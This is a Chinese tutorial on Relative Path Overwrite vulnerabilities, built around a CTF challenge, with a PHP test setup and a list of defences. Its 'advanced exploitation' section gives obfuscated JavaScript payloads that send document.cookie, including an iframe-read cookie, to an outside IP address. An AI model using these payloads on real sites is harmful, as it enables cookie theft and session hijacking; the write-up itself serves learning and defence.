深入剖析RPO漏洞
字数 1115 2025-08-29 08:32:02
RPO漏洞深入分析与利用指南
一、RPO漏洞概述
RPO (Relative Path Overwrite)即相对路径覆盖漏洞,是一种利用浏览器和服务器对资源加载路径解析差异的安全漏洞。通过精心构造的URL,攻击者可以诱使浏览器将非JavaScript/CSS文件当作脚本或样式表来解析执行。
核心原理
- 服务端与客户端URL解析不一致:服务器和浏览器对URL中的路径和特殊字符(如%2f)处理方式不同
- 相对路径资源加载:浏览器在解析相对路径引用的资源时,基于当前URL路径而非服务器实际返回的路径
- 非JS/CSS文件被当作脚本解析:攻击者可以诱导浏览器将普通HTML内容当作JavaScript代码执行
二、漏洞利用条件
- 网站使用相对路径引用静态资源(JS/CSS)
- 服务器和浏览器对URL的解析存在差异
- 攻击者能够控制部分页面内容
- 目标页面能够返回纯文本内容(不含HTML标签)
三、漏洞利用流程(以强网杯题目为例)
1. 漏洞发现
- 目标系统存在一个文章发布功能
- 当文章标题为空时,返回纯文本内容
- 系统使用相对路径引用jQuery等JS文件
2. 攻击步骤
第一步:创建恶意内容
- 发布一篇无标题文章,内容为XSS payload:
alert(1)
第二步:构造RPO攻击URL
http://target.com/index.php/view/article/36967/..%2f..%2f..%2f..%2findex.php
第三步:浏览器解析过程
-
服务器解析:
- 解码%2f为/
- 实际访问路径:
/index.php/view/article/36967/index.php - 返回36967文章的内容(
alert(1))
-
浏览器解析:
- 不解码%2f,将
..%2f..%2f..%2f..%2findex.php视为无用参数 - 当前URL被视为:
/index.php/view/article/36967/ - 加载相对路径资源时,构造的URL变为:
/index.php/view/article/36967/..%2f..%2f..%2f..%2findex.php/static/js/jquery.min.js - 服务器返回36967文章内容(
alert(1)),被当作JS执行
- 不解码%2f,将
3. 进阶利用
当存在过滤时,可使用String.fromCharCode绕过:
(new Image()).src = String.fromCharCode(104,116,116,112,58,47,47,53,52,46,50,51,53,46,50,51,52,46,54,56,58,50,51,51,47)+document.cookie;
读取二级目录cookie:
var iframe = document.createElement(String.fromCharCode(105,102,114,97,109,101));
iframe.src = String.fromCharCode(47,81,87,66,95,102,108,52,103,47,81,87,66,47);
iframe.id = String.fromCharCode(102,114,97,109,101);
document.body.appendChild(iframe);
iframe.onload = function (){
var c = document.getElementById(String.fromCharCode(102,114,97,109,101)).contentWindow.document.cookie;
var n0t = document.createElement(String.fromCharCode(108,105,110,107));
n0t.setAttribute(String.fromCharCode(114,101,108), String.fromCharCode(112,114,101,102,101,116,99,104));
n0t.setAttribute(String.fromCharCode(104,114,101,102), String.fromCharCode(47,47,53,52,46,50,51,53,46,50,51,52,46,54,56,58,50,51,51,47,63,102,108,97,103,61) + c);
document.head.appendChild(n0t);
}
四、测试环境搭建
PHP测试代码
<?php
$path='http://localhost/hello/'
?>
<a class="navbar-brand" href="<?php echo $path?>url.php">三国杀</a>
<li class="active" id='wei'><a href="<?php echo $path?>url.php/country/wei">魏</a></li>
<li id ='shu'><a href="<?php echo $path?>url.php/country/shu">蜀</a></li>
<li class="active" id='wu'><a href="<?php echo $path?>url.php/country/wu">吴</a></li>
<link rel="stylesheet" href="./style.css" style="css" />
<?php
$arr=isset($_SERVER['PATH_INFO'])?explode('/',trim($_SERVER['PATH_INFO'])):null;
$value='';
for($_=0;$_<count($arr);$_+=2){
$value[$arr[$_]]=$arr[$_+1];
}
$value['country']=isset($value['country'])?$value['country']:null;
switch ($value['country']) {
case 'wei': ?>
<h1>welcome to 魏国!</h1>
<?php break;
case 'shu': ?>
<h1>welcome to 蜀国!</h1>
<?php break;
case 'wu': ?>
<h1>welcome to 吴国!</h1>
<?php break;
default: ?>
<h1>welcome!</h1>
<?php break;
}
?>
style.css文件
h1 {
font-size:180px;
color:blue;
}
五、防御措施
- 使用绝对路径引用静态资源:避免使用相对路径
- 统一URL解析规则:确保服务器和客户端对URL的解析一致
- 内容安全策略(CSP):限制脚本来源
- 禁用路径遍历:过滤
../等路径遍历字符 - 严格区分内容类型:确保JS/CSS文件有正确的MIME类型
六、相关资源
通过深入理解RPO漏洞的原理和利用方式,安全研究人员可以更好地发现和防御此类漏洞,提高Web应用的安全性。